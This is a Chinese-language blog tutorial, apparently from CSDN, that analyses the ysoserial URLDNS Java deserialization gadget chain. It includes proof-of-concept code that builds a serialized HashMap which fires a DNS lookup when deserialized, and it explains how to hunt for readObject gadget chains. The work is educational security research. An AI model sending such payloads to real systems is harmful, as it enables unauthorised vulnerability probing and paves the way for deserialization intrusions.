java反序列化-URLDNS

本文详细介绍了URLDNS链的原理,通过Java反序列化过程,利用HashMap的readObject方法,结合URL的hashCode函数触发DNS查询。文章展示了如何构建调用链,包括设置HashMap、修改URL的hashCode值以控制DNS查询的执行,并给出了POC代码示例。最后,文章总结了寻找和利用readObject函数来构造攻击链的方法。
摘要由CSDN通过智能技术生成

URLDNS链原理:

之前介绍了java反序列化的基础,这里介绍下urldns链的原理

先介绍下原理,查看ysoserial可以看到urldns使用的调用链为:

 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

调用分析

我们就按照这个思路去实现我们的urldns

按照ysoserial的调用链首先需要一个继承了Serializable的函数,这里使用HashMap

然后查看对应的readObject()

可以看到到putVal中调用了hash,再跟进hash方法

跟入hashCode(),这里需要注意,不能直接跟入hashCode方法,因为这里我们key需要使用的是java.net.url,所以需要在URL.java中找到hashCode分析

可以看到这里有个判断,当为-1时直接返回不执行,否则就执行。这里需要注意,一会在测试中要更改,之后跟进hashCode方法中

可以看到最终是通过调用getHostAddress(u)来实现DNS查询的

所以梳理下其实我们真正调用的是URLStreamHandler 中的HashCode中的getHostAddress函数,但是要实现调用就要使用HashMap的readObject来实现入口,之后通过putVal和hash最终成功执行。

代码实现

首先编写简单的通过hashmap实现dns查询

    public static void main(String[] args) throws Exception {
        URL url = new URL("http://www.test123.com");
        url.hashCode();

    }

可以看到成功,证明最终是通过hashcode实现dns查询,这里有个点需要注意在后面要涉及,就是通过反射阻止hashcode成功,因为在反序列还未执行的时候就会执行,会干扰测试结果

    public static void main(String[] args) throws Exception {
        URL url = new URL("http://www.test123.com");
        Field test = Class.forName("java.net.URL").getDeclaredField("hashCode");
        test.setAccessible(true);
        test.set(url,123);
        url.hashCode();
    }

执行后,因为反射将值设置为123,非-1,则不执行查询操作

最终poc

    public static void main(String[] args) throws Exception {
        HashMap hashmap = new HashMap();
        URL url = new URL("http://www.test123.com");

        Field test = Class.forName("java.net.URL").getDeclaredField("hashCode");
        test.setAccessible(true);

        //设置为123后,执行put时不会触发dns查询,不然还未执行反序列化方法就返回dns查询
        test.set(url,123);
        hashmap.put(url,123);

        //执行后将值进行恢复,否则反序列化后不能执行dns查询
        test.set(url,-1);

        try {
            //序列化操作
            FileOutputStream fileOutputStream = new FileOutputStream("urldns.bin");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);

            outputStream.writeObject(hashmap);
            outputStream.close();
            fileOutputStream.close();
            //反序列化操作
            FileInputStream fileInputStream = new FileInputStream("urldns.bin");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        }
        catch (Exception e){
            e.printStackTrace();
        }

执行结果如下

ysoserial使用的是SilentURLStreamHandler方法

由此就简单分析了urldns的调用链。

总结:

最后我们来总结下整个的流程和一些总计

  1. 在实现反序列攻击主要的利用函数为readObject函数,这里就相当一个入口,当我们要实现反序列化攻击的时候,首先要考虑我们要实现什么功能,然后去找能实现这个功能的函数有哪些,然后回溯看是是否有类中的readObject函数中恰好调用了该功能,当然如果里面直接调用了exec那就和中奖一样,直接调用执行就可以了,但是没有哪个代码会这么写,所以我们就要去找调用链。

  1. 这里我们打算实现一个DNSLOG功能来判断这个系统是否存在反序列化漏洞,那么要实现这个功能可以使用getHostAddress函数来实现,之后就可以去找是否有类的readObject函数中包含了这个函数,当然函数的嵌套调用和参数控制的限制,真正好用的其实不多,这里我们参考ysoserial的利用链,我们使用HashMap的readObject函数。

  1. 整个的调用链为HashMap的readObject函数->putVal函数->hash函数->URL的hashCode函数->getHostAddress函数。通过这个调用链就可以成功实现urldns功能的实现。

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值